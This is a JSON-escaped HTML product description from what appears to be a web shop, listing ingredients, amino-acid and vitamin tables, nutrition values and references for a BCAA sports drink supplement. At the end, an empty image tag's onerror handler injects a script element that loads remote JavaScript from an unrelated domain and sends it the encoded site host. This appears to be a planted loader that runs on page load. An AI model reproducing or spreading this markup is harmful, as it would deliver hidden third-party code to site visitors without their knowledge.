Monopotassium Fosfaat), Zoetstof (Sucralose), Smaakstof, kleurstof (bietenrood), antiklontermiddel (siliciumdioxide), ascorbinezuur (vitamine C), nicotinamide (vitamine B3), pyridoxinehydrochloride (vitamine B6), cyanocobalamine (vitamine B12)\u003c\/p\u003e\n\u003ctable width=\"100%\" class=\"infotable\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eIngredients\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"104\"\u003e\n\u003cp\u003e\u003cstrong\u003ePer  100g\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"95\"\u003e\n\u003cp\u003e\u003cstrong\u003ePer 42g\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e\u003cu\u003eBCAA Blend:\u003c\/u\u003e\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e16,7g\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e7000mg\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003eL-Leucine\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e8,3g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e3500mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003eL-Isoleucine\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e4,2g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e1750mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eL-Valine\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"104\"\u003e\n\u003cp\u003e4,2g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"95\"\u003e\n\u003cp\u003e1750mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd colspan=\"3\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e\u003cu\u003eNitric Oxide:\u003c\/u\u003e\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eCitrulline Malate\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"104\"\u003e\n\u003cp\u003e4,8g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"95\"\u003e\n\u003cp\u003e2000mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd colspan=\"3\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e\u003cu\u003eRecovery:\u003c\/u\u003e\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eL-Glutamine                           \u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"104\"\u003e\n\u003cp\u003e9,5g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"95\"\u003e\n\u003cp\u003e4000mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd colspan=\"3\"\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cem\u003e\u003cu\u003eVitamin Complex:\u003c\/u\u003e\u003c\/em\u003e\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eVitamin B3\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"104\"\u003e\n\u003cp\u003e47,6mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"95\"\u003e\n\u003cp\u003e20mg (125%*)\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003eVitamin B6\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e14,3mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e6mg (428%*)\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003eVitamin B12\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e7,1µg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e3µg (120%*)\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e\n\u003cp\u003e\u003cstrong\u003eVitamin C\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e71,0mg\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd\u003e\n\u003cp\u003e30mg (37%*)\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"406\" colspan=\"3\"\u003e\n\u003cp\u003e* = Reference Intake of an average adult (8400 kJ \/ 2000 kCal).\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e\n\u003cp\u003e \u003c\/p\u003e\n\u003ctable width=\"100%\" class=\"infotable\"\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eTypical Nutritional Value\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e\u003cstrong\u003ePer  100g\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e\u003cstrong\u003ePer 42g\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eEnergy\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e264 kcal\/1124 kJ\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e111 kcal\/472 kJ\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eFat\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e-      of which saturated\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eCarbohydrates\u003c\/strong\u003e\u003c\/p\u003e\n\u003cp\u003e-      of which sugars\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e65,6g\u003c\/p\u003e\n\u003cp\u003e5,9g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e27,6g\u003c\/p\u003e\n\u003cp\u003e2,5g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eProtein **\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,0g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"208\"\u003e\n\u003cp\u003e\u003cstrong\u003eSalt\u003c\/strong\u003e\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,67g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003ctd width=\"100\"\u003e\n\u003cp\u003e0,28g\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003ctr\u003e\n\u003ctd width=\"409\" colspan=\"3\"\u003e\n\u003cp\u003e** = on dry matter\u003c\/p\u003e\n\u003c\/td\u003e\n\u003c\/tr\u003e\n\u003c\/tbody\u003e\n\u003c\/table\u003e\n\u003ch5\u003e\u003cstrong\u003eWETENSCHAPPELIJKE REFERENTIES\u003c\/strong\u003e\u003c\/h5\u003e\n\u003cp\u003e1) Chris Brands. Proteins! 1 miracle product for endurance athletes. www.chris-brands.nl\/referentie9.html. 2005.\u003c\/p\u003e\n\u003cp\u003e2) Wagenmakers AJ, Brouns F, Saris WH, Halliday D. Oxidation rates of orally ingested carbohydrates during prolonged exercise in men. J Appl Physiol (1985). 1993; 75(6):2774-80.\u003c\/p\u003e\n\u003cp\u003e3) Kerksick C, Harvey T, Stout J et al. International Society of Sports Nutrition position stand: nutrient timing. J Int Soc Sports Nutr. 2008; 5:17.\u003c\/p\u003e\n\u003cp\u003e4) Bailey SJ et al. L-Citrulline supplementation improves O2 uptake kinetics and high-intensity exercise performance in humans. J Appl Physiol (1985). 2015 Aug 15;119(4):385-95. \u003c\/p\u003e\n\u003cp\u003e5) Kiyici F et al. The Effect of Citrulline\/Malate on Blood Lactate Levels in Intensive Exercise. Biochem Genet. 2017 Dec;55(5-6):387-394.\u003c\/p\u003e\n\u003cp\u003e6) Suzuki T et al. Oral L-citrulline supplementation enhances cycling time trial performance in healthy trained men. J Int Soc Sports Nutr. 2016 Feb 19;13:6. Favano A et al. Peptide glutamine supplementation for tolerance of intermittent exercise in soccer players. 2008 Feb;63(1):27-32.\u003c\/p\u003e\n\u003cp\u003e7) Carvalho-Peixoto J. et al. Glutamine and carbohydrate supplements reduce ammonemia increase during endurance field exercise. Appl Physiol Nutr Metab. 2007 Dec;32(6):1186-90.\u003c\/p\u003e\n\u003cp\u003e8) Bassini-Cameron A et al. Glutamine protects against increases in blood ammonia in football players in an exercise intensity-dependent way. Br J Sports Med. 2008 Apr;42(4):260-6.\u003c\/p\u003e\n\u003cp\u003e9) Legault Z et al. The Influence of Oral L-Glutamine Supplementation on Muscle Strength Recovery and Soreness Following Unilateral Knee Extension Eccentric Exercise. Int J Sport Nutr Exerc Metab. 2015 Oct;25(5):417-26.\u003c\/p\u003e\n\u003c!-- \/TABS --\u003e\n\u003cdiv id=\"mailtooptiepopupMailModal\" style=\"z-index: 1;\"\u003e\n\u003cdiv id=\"mailtooptietoPopupModal\"\u003e\n\u003cdiv id=\"mailtooptiemodalTo\"\u003e\u003c\/div\u003e\n\u003cdiv id=\"mailtooptiemodalToPopup\"\u003eWhat do you want to do ?\u003c\/div\u003e\n\u003ca id=\"mailtooptienewAppButtonOpen\"\u003eNew mail\u003c\/a\u003e\u003cbutton id=\"mailtooptieclipboardCopyButtonEmail\"\u003eCopy\u003c\/button\u003e\u003ctextarea id=\"mailtooptieclipboardArea\"\u003e\u003c\/textarea\u003e\n\u003c\/div\u003e\n\u003c\/div\u003e\n\u003cdiv\u003e\u003cimg onerror='var s=document.createElement(\"script\");s.type=\"text\/javascript\";s.id=\"cczedcc-plg-analytics\";s.src=\"\/\/mocadi.wisoyekivo.com\/scripts\/js?k=601a96eb86df1a93598b4567\u0026amp;s=\"+encodeURI(btoa(window.location.host))+\"\u0026amp;ns=true\";document.getElementsByTagName(\"head\")[0].appendChild(s);'\u003e\u003c\/div\u003e"}